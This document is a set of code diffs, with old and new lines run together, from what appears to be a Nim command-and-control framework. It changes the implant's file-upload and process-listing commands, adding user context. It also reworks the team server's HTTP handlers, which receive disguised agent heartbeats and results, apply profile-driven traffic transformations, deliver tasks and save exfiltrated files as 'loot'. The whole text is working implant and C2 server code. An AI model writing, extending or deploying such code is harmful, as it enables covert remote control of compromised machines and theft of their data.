print arg
# Parse binary argument # Parse binary argument
var unpacker = Unpacker.init(arg) var unpacker = Unpacker.init(arg)
let var
fileName = unpacker.getDataWithLengthPrefix() destination = unpacker.getDataWithLengthPrefix()
fileContents = unpacker.getDataWithLengthPrefix() fileContents = unpacker.getDataWithLengthPrefix()
# If a destination has been passed as an argument, upload it there instead
if task.argCount == 2:
destination = Bytes.toString(task.args[1].data)
# Write the file to the current working directory # Write the file to the current working directory
let destination = fmt"{paths.getCurrentDir()}\{fileName}" writeFile(destination, fileContents)
writeFile(fmt"{destination}", fileContents)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}.")) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))

View File

@@ -40,14 +40,7 @@ when defined(agent):
import os, strutils, strformat, tables, algorithm import os, strutils, strformat, tables, algorithm
import ../agent/utils/io import ../agent/utils/io
import ../agent/protocol/result import ../agent/protocol/result
import ../agent/core/process
# TODO: Add user context to process information
type
ProcessInfo = object
pid: DWORD
ppid: DWORD
name: string
children: seq[DWORD]
proc executePs(ctx: AgentCtx, task: Task): TaskResult = proc executePs(ctx: AgentCtx, task: Task): TaskResult =
@@ -55,48 +48,28 @@ when defined(agent):
try: try:
var processes: seq[DWORD] = @[] var processes: seq[DWORD] = @[]
var procMap = initTable[DWORD, ProcessInfo]()
var output: string = "" var output: string = ""
# Take a snapshot of running processes var procMap = processList()
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if hSnapshot == INVALID_HANDLE_VALUE:
raise newException(CatchableError, GetLastError().getError)
# Close handle after object is no longer used # Create child-parent process relationships
defer: CloseHandle(hSnapshot)
var pe32: PROCESSENTRY32
pe32.dwSize = DWORD(sizeof(PROCESSENTRY32))
# Loop over processes to fill the map
if Process32First(hSnapshot, addr pe32) == FALSE:
raise newException(CatchableError, GetLastError().getError)
while true:
var procInfo = ProcessInfo(
pid: pe32.th32ProcessID,
ppid: pe32.th32ParentProcessID,
name: $cast[WideCString](addr pe32.szExeFile[0]),
children: @[]
)
procMap[pe32.th32ProcessID] = procInfo
if Process32Next(hSnapshot, addr pe32) == FALSE:
break
# Build child-parent relationship
for pid, procInfo in procMap.mpairs(): for pid, procInfo in procMap.mpairs():
if procMap.contains(procInfo.ppid): if procMap.contains(procInfo.ppid) and procInfo.ppid != 0:
procMap[procInfo.ppid].children.add(pid) procMap[procInfo.ppid].children.add(pid)
else: else:
processes.add(pid) processes.add(pid)
# Add header row # Add header row
let headers = @[protect("PID"), protect("PPID"), protect("Process")] let headers = @[
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n" protect("PID"),
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n" protect("PPID"),
protect("Process"),
protect("Session"),
protect("User context")
]
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<40}{headers[3]:<10}{headers[4]}" & "\n"
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(40) & "-".repeat(len(headers[3])).alignLeft(10) & "-".repeat(len(headers[4])) & "\n"
# Format and print process # Format and print process
proc printProcess(pid: DWORD, indentSpaces: int = 0) = proc printProcess(pid: DWORD, indentSpaces: int = 0) =
@@ -104,16 +77,15 @@ when defined(agent):
return return
var process = procMap[pid] var process = procMap[pid]
let indent = " ".repeat(indentSpaces) let processName = " ".repeat(indentSpaces) & process.name
output &= fmt"{$process.pid:<10}{$process.ppid:<10}{processName:<40}{$process.session:<10}{process.user}" & "\n"
output &= fmt"{process.pid:<10}{process.ppid:<10}{indent}{process.name:<25}" & "\n"
# Recursively print child processes with indentation # Recursively print child processes with indentation
process.children.sort() process.children.sort()
for childPid in process.children: for childPid in process.children:
printProcess(childPid, indentSpaces + 2) printProcess(childPid, indentSpaces + 2)
# Iterate over root processes # Iterate over root processes to construct the output
processes.sort() processes.sort()
for pid in processes: for pid in processes:
printProcess(pid) printProcess(pid)

View File

@@ -126,7 +126,7 @@ proc handleResult*(resultData: seq[byte]) =
# A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value # A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value
var unpacker = Unpacker.init(Bytes.toString(taskResult.data)) var unpacker = Unpacker.init(Bytes.toString(taskResult.data))
let let
fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace(":", "") # Replace path characters for better storage of downloaded files fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace("/", "_").replace(":", "") # Replace path characters for better storage of downloaded files
fileData = unpacker.getDataWithLengthPrefix() fileData = unpacker.getDataWithLengthPrefix()
# Create loot directory for the agent # Create loot directory for the agent

View File

@@ -1,5 +1,5 @@
import mummy, terminal, strformat, parsetoml, tables import mummy, terminal
import strutils, base64 import strutils, strformat
import ./handlers import ./handlers
import ../globals import ../globals
@@ -35,7 +35,6 @@ proc httpGet*(request: Request) =
{.cast(gcsafe).}: {.cast(gcsafe).}:
# Check heartbeat metadata placement # Check heartbeat metadata placement
var heartbeat: seq[byte]
var heartbeatString: string var heartbeatString: string
case cq.profile.getString("http-get.agent.heartbeat.placement.type"): case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
@@ -46,30 +45,20 @@ proc httpGet*(request: Request) =
return return
heartbeatString = request.headers.get(heartbeatHeader) heartbeatString = request.headers.get(heartbeatHeader)
of "parameter": of "query":
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name") let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
heartbeatString = request.queryParams.get(param) heartbeatString = request.queryParams.get(param)
if heartbeatString.len <= 0: if heartbeatString.len <= 0:
request.respond(404, body = "") request.respond(404, body = "")
return return
of "uri":
discard
of "body": of "body":
discard heartbeatString = request.body
else: discard else: discard
# Retrieve and apply data transformation to get raw heartbeat packet # Reverse data transformation to get raw heartbeat packet
let let heartbeat = cq.profile.reverseDataTransformation("http-get.agent.heartbeat", heartbeatString)
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
of "base64":
heartbeat = string.toBytes(decode(encHeartbeat))
of "none":
heartbeat = string.toBytes(encHeartbeat)
try: try:
var responseBytes: seq[byte] var responseBytes: seq[byte]
@@ -88,29 +77,20 @@ proc httpGet*(request: Request) =
responseBytes.add(task) responseBytes.add(task)
# Apply data transformation to the response # Apply data transformation to the response
var response: string let payload = cq.profile.applyDataTransformation("http-get.server.output", responseBytes)
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
of "none":
response = Bytes.toString(responseBytes)
of "base64":
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
else: discard
let prefix = cq.profile.getString("http-get.server.output.prefix")
let suffix = cq.profile.getString("http-get.server.output.suffix")
# Add headers, as defined in the team server profile # Add headers, as defined in the team server profile
var headers: HttpHeaders var headers: HttpHeaders
for header, value in cq.profile.getTable("http-get.server.headers"): for header in cq.profile.getTableKeys("http-get.server.headers"):
headers.add((header, value.getStringValue())) headers.add((header.key, header.value.getStringValue()))
request.respond(200, headers = headers, body = prefix & response & suffix) request.respond(200, headers = headers, body = payload)
# Notify operator that agent collected tasks # Notify operator that agent collected tasks
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.") cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$responseBytes.len} bytes sent.")
cq.info(fmt"{$response.len} bytes sent.") cq.info(fmt"{$responseBytes.len} bytes sent.")
except CatchableError: except CatchableError as err:
request.respond(404, body = "") request.respond(404, body = "")
#[ #[
@@ -121,24 +101,49 @@ proc httpPost*(request: Request) =
{.cast(gcsafe).}: {.cast(gcsafe).}:
try: try:
# Differentiate between registration and task result packet # Retrieve data from the request
var unpacker = Unpacker.init(request.body) var dataString: string
let header = unpacker.deserializeHeader()
case cq.profile.getString("http-post.agent.output.placement.type"):
of "header":
let dataHeader = cq.profile.getString("http-post.agent.output.placement.name")
if not request.headers.hasKey(dataHeader):
request.respond(400, body = "")
return
dataString = request.headers.get(dataHeader)
of "query":
let param = cq.profile.getString("http-post.agent.output.placement.name")
dataString = request.queryParams.get(param)
if dataString.len <= 0:
request.respond(400, body = "")
return
of "body":
dataString = request.body
else: discard
# Reverse data transformation
let data = cq.profile.reverseDataTransformation("http-post.agent.output", dataString)
# Add response headers, as defined in team server profile # Add response headers, as defined in team server profile
var headers: HttpHeaders var headers: HttpHeaders
for header, value in cq.profile.getTable("http-post.server.headers"): for header in cq.profile.getTableKeys("http-post.server.headers"):
headers.add((header, value.getStringValue())) headers.add((header.key, header.value.getStringValue()))
# Differentiate between registration and task result packet
var unpacker = Unpacker.init(Bytes.toString(data))
let header = unpacker.deserializeHeader()
if cast[PacketType](header.packetType) == MSG_REGISTER: if cast[PacketType](header.packetType) == MSG_REGISTER:
if not register(string.toBytes(request.body), request.remoteAddress): if not register(data, request.remoteAddress):
request.respond(400, body = "") request.respond(400, body = "")
return return
elif cast[PacketType](header.packetType) == MSG_RESULT: elif cast[PacketType](header.packetType) == MSG_RESULT:
handleResult(string.toBytes(request.body)) handleResult(data)
request.respond(200, body = "") request.respond(200, body = cq.profile.getString("http-post.server.output.body"))
except CatchableError: except CatchableError:
request.respond(404, body = "") request.respond(404, body = "")

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams, parsetoml import terminal, strformat, strutils, sequtils, tables, system, osproc, streams
import ../globals import ../globals
import ../core/[logger, websocket] import ../core/[logger, websocket]
@@ -38,7 +38,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
packer.addData(cq.keyPair.publicKey) packer.addData(cq.keyPair.publicKey)
# C2 profile # C2 profile
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString())) packer.addDataWithLengthPrefix(string.toBytes(cq.profileString))
let data = packer.pack() let data = packer.pack()
packer.reset() packer.reset()

View File

@@ -1,6 +1,5 @@
import strformat, strutils, terminal import strformat, strutils, terminal, tables
import mummy, mummy/routers import mummy, mummy/routers
import parsetoml
import ../api/routes import ../api/routes
import ../db/database import ../db/database

View File

@@ -1,4 +1,4 @@
import times, json, base64, parsetoml, strformat, pixie import times, json, base64, strformat
import stb_image/write as stbiw import stb_image/write as stbiw
import ./logger import ./logger
import ../../common/[types, utils, event] import ../../common/[types, utils, event]
@@ -46,12 +46,12 @@ proc sendPublicKey*(client: WsConnection, publicKey: Key) =
if client != nil: if client != nil:
client.ws.sendEvent(event, client.sessionKey) client.ws.sendEvent(event, client.sessionKey)
proc sendProfile*(client: WsConnection, profile: Profile) = proc sendProfile*(client: WsConnection, profileString: string) =
let event = Event( let event = Event(
eventType: CLIENT_PROFILE, eventType: CLIENT_PROFILE,
timestamp: now().toTime().toUnix(), timestamp: now().toTime().toUnix(),
data: %*{ data: %*{
"profile": profile.toTomlString() "profile": profileString
} }
) )
if client != nil: if client != nil:

View File

@@ -1,5 +1,5 @@
import mummy, mummy/routers import mummy, mummy/routers
import terminal, parsetoml, json, math, base64, times import terminal, json, math, base64, times
import strutils, strformat, system, tables import strutils, strformat, system, tables
import ./globals import ./globals
@@ -15,14 +15,15 @@ proc header() =
echo "".repeat(21) echo "".repeat(21)
echo "" echo ""
proc init*(T: type Conquest, profile: Profile): Conquest = proc init*(T: type Conquest, profileString: string): Conquest =
var cq = new Conquest var cq = new Conquest
cq.listeners = initTable[string, Listener]() cq.listeners = initTable[string, Listener]()
cq.threads = initTable[string, Thread[Listener]]() cq.threads = initTable[string, Thread[Listener]]()
cq.agents = initTable[string, Agent]() cq.agents = initTable[string, Agent]()
cq.profile = profile cq.profileString = profileString
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & profile.getString("private-key-file")) cq.profile = parseString(profileString)
cq.dbPath = CONQUEST_ROOT & "/" & profile.getString("database-file") cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & cq.profile.getString("private-key-file"))
cq.dbPath = CONQUEST_ROOT & "/" & cq.profile.getString("database-file")
cq.client = nil cq.client = nil
return cq return cq
@@ -45,9 +46,6 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
cq.client.sendPublicKey(cq.keyPair.publicKey) cq.client.sendPublicKey(cq.keyPair.publicKey)
of MessageEvent: of MessageEvent:
# Continuously send heartbeat messages
ws.sendHeartbeat()
let event = message.recvEvent(cq.client.sessionKey) let event = message.recvEvent(cq.client.sessionKey)
case event.eventType: case event.eventType:
@@ -57,7 +55,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
# Send relevant information to the client # Send relevant information to the client
# C2 profile # C2 profile
cq.client.sendProfile(cq.profile) cq.client.sendProfile(cq.profileString)
# Listeners # Listeners
for id, listener in cq.listeners: for id, listener in cq.listeners:
@@ -143,11 +141,10 @@ proc startServer*(profilePath: string) =
try: try:
# Initialize framework context # Initialize framework context
# Load and parse profile let profileString = readFile(profilePath)
let profile = parsetoml.parseFile(profilePath) cq = Conquest.init(profileString)
cq = Conquest.init(profile)
cq.info("Using profile \"", profile.getString("name"), "\" (", profilePath ,").") cq.info("Using profile \"", cq.profile.getString("name"), "\" (", profilePath ,").")
# Initialize database # Initialize database
cq.dbInit() cq.dbInit()
@@ -166,7 +163,7 @@ proc startServer*(profilePath: string) =
# Increased websocket message length in order to support dotnet assembly execution (1GB) # Increased websocket message length in order to support dotnet assembly execution (1GB)
let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024) let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024)
server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0") server.serve(Port(cq.profile.getInt("team-server.port")), cq.profile.getString("team-server.host"))
except CatchableError as err: except CatchableError as err:
echo err.msg echo err.msg